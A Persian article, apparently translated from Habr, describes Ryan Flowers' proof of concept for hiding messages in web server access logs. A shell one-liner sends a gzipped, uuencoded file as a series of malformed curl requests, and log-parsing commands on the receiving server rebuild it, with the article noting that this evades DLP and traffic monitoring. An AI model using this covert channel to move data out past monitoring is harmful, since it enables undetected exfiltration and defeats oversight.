تبادل پیام های مخفی از طریق گزارش های سرور

طبق تعریف ویکی‌پدیا، قطره مرده یک ابزار توطئه است که برای تبادل اطلاعات یا برخی موارد بین افراد با استفاده از یک مکان مخفی کار می‌کند. ایده این است که مردم هرگز ملاقات نمی کنند - اما آنها همچنان اطلاعات را برای حفظ ایمنی عملیاتی رد و بدل می کنند.

محل اختفا نباید جلب توجه کند. بنابراین، در دنیای آفلاین آنها اغلب از چیزهای محتاطانه استفاده می کنند: یک آجر شل در دیوار، یک کتاب کتابخانه، یا یک توخالی در درخت.

ابزارهای رمزگذاری و ناشناس سازی زیادی در اینترنت وجود دارد، اما همین واقعیت استفاده از این ابزارها جلب توجه می کند. علاوه بر این، ممکن است در سطح شرکتی یا دولتی مسدود شوند. چه باید کرد؟

توسعه دهنده رایان فلاورز گزینه جالبی را پیشنهاد کرد - از هر وب سرور به عنوان مخفیگاه استفاده کنید. اگر به آن فکر کنید، وب سرور چه کاری انجام می دهد؟ درخواست ها را دریافت می کند، فایل ها را صادر می کند و گزارش ها را می نویسد. و تمام درخواست ها را ثبت می کند، حتی موارد نادرست!

به نظر می رسد که هر وب سرور به شما امکان می دهد تقریباً هر پیامی را در گزارش ذخیره کنید. گل ها تعجب کردند که چگونه از این استفاده کنند.

او این گزینه را ارائه می دهد:

  1. یک فایل متنی (پیام مخفی) بگیرید و هش (md5sum) را محاسبه کنید.
  2. ما آن را رمزگذاری می کنیم (gzip+uuecode).
  3. ما با استفاده از یک درخواست عمداً نادرست به سرور در گزارش می نویسیم.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

برای خواندن یک فایل، باید این عملیات را به ترتیب معکوس انجام دهید: فایل را رمزگشایی و از حالت فشرده خارج کنید، هش را بررسی کنید (هش را می توان با خیال راحت از طریق کانال های باز منتقل کرد).

فضاها با =+=به طوری که هیچ فاصله ای در آدرس وجود ندارد. برنامه ای که نویسنده آن را CurlyTP می نامد، از رمزگذاری base64 مانند پیوست های ایمیل استفاده می کند. درخواست با کلمه کلیدی انجام می شود ?transfer?به طوری که گیرنده بتواند به راحتی آن را در لاگ ها پیدا کند.

در این مورد در لاگ ها چه می بینیم؟

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

همانطور که قبلا ذکر شد، برای دریافت یک پیام مخفی باید عملیات را به ترتیب معکوس انجام دهید:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

فرآیند به راحتی به صورت خودکار انجام می شود. Md5sum مطابقت دارد و محتویات فایل تأیید می کند که همه چیز به درستی رمزگشایی شده است.

روش بسیار ساده است. هدف این تمرین فقط اثبات این است که فایل‌ها را می‌توان از طریق درخواست‌های وب کوچک و بی‌گناه منتقل کرد و روی هر سرور وب با گزارش‌های متن ساده کار می‌کند. در اصل، هر وب سرور یک مکان مخفی است!» می نویسد Flowers.

البته این روش تنها در صورتی کار می کند که گیرنده به گزارش های سرور دسترسی داشته باشد. اما چنین دسترسی، به عنوان مثال، توسط بسیاری از میزبان ها ارائه می شود.

چگونه از آن استفاده کنیم؟

رایان فلاورز می گوید که او یک متخصص امنیت اطلاعات نیست و لیستی از کاربردهای احتمالی CurlyTP را تهیه نخواهد کرد. برای او، این فقط یک اثبات مفهومی است که ابزارهای آشنایی که هر روز می بینیم می توانند به روشی غیر متعارف استفاده شوند.

در واقع، این روش دارای تعدادی مزیت نسبت به سایر سرورهای "پنهان" است قطره مرده دیجیتال یا PirateBox: به پیکربندی خاصی در سمت سرور یا پروتکل های خاصی نیاز ندارد - و در بین کسانی که بر ترافیک نظارت می کنند سوء ظن ایجاد نمی کند. بعید است که یک سیستم SORM یا DLP URL ها را برای فایل های متنی فشرده اسکن کند.

این یکی از راه های انتقال پیام از طریق فایل های سرویس است. شما می توانید به یاد داشته باشید که چگونه برخی از شرکت های پیشرفته قبلاً قرار می دادند مشاغل توسعه دهنده در سرصفحه های HTTP یا در کد صفحات HTML.

تبادل پیام های مخفی از طریق گزارش های سرور

ایده این بود که فقط توسعه دهندگان وب این تخم مرغ عید پاک را ببینند، زیرا یک فرد عادی به سربرگ یا کد HTML نگاه نمی کند.

تبادل پیام های مخفی از طریق گزارش های سرور

منبع: www.habr.com

اضافه کردن نظر